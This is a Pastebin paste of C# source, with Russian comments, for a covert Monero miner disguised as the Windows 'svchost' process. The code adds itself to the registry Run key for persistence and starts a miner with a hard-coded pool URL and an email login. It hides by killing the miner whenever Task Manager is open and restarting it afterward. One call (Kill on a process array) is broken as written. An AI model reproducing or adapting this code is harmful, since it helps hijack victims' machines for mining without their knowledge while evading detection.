Advertisement
Guest User

Untitled

a guest
Jul 13th, 2017
1,009
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.59 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Diagnostics;
  7. using System.Threading;
  8. using System.Linq;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using Microsoft.Win32;
  12.  
  13. namespace svchost
  14. {
  15.     public partial class svchost : Form
  16.     {
  17.         public svchost()
  18.         {
  19.             InitializeComponent();
  20.         }
  21.  
  22.         static public string appName = "svhost";
  23.         static public string appInfo = "Host process";
  24.         public bool minerStarted = false;
  25.         // Параметры запуска майнера
  26.         static public string poolUrl = "stratum+tcp://xmr.pool.minergate.com:45590";
  27.         static public string userName = "alex.dizaro@yandex.ru";
  28.         static public string userPass = "x";
  29.         public string startInfo = string.Format("-a cryptonight-light -o {0} -u {1} -p {2}", poolUrl, userName, userPass);
  30.  
  31.         // Добавление в автозагрузку
  32.         public bool addAutorun()
  33.         {
  34.             string ExePath = System.Windows.Forms.Application.ExecutablePath;
  35.             RegistryKey regKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
  36.             try
  37.             {
  38.                 regKey.SetValue(appInfo, ExePath);
  39.                 regKey.Close();
  40.             }
  41.             catch { return false; }
  42.             return true;
  43.         }
  44.  
  45.        
  46.         // Запуск майнера
  47.         public bool StartMiner()
  48.         {
  49.             if (!minerStarted)
  50.             {
  51.                 ProcessStartInfo info = new ProcessStartInfo("svhost.exe");
  52.                 info.Arguments = startInfo;
  53.                 System.Diagnostics.Process.Start(info);
  54.                 taskManagerChecker.Enabled = true;
  55.                 return true;
  56.             }
  57.             else return true;
  58.         }
  59.  
  60.         private void svchost_Load(object sender, EventArgs e)
  61.         {
  62.             addAutorun();
  63.             StartMiner();
  64.         }
  65.  
  66.         private void taskManagerChecker_Tick(object sender, EventArgs e)
  67.         {
  68.             minerStarted = Process.GetProcessesByName("svhost").Any() ? true : false;
  69.             if (Process.GetProcessesByName("Taskmgr").Count() != 0)
  70.             {
  71.                 Process[] minerProcess = Process.GetProcessesByName("svhost");
  72.                 minerProcess.Kill();
  73.                 statusTaskmngr.Text = "Запущен";
  74.             }
  75.             else
  76.             {
  77.                 if (!minerStarted) StartMiner();
  78.             }
  79.         }
  80.  
  81.     }
  82. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement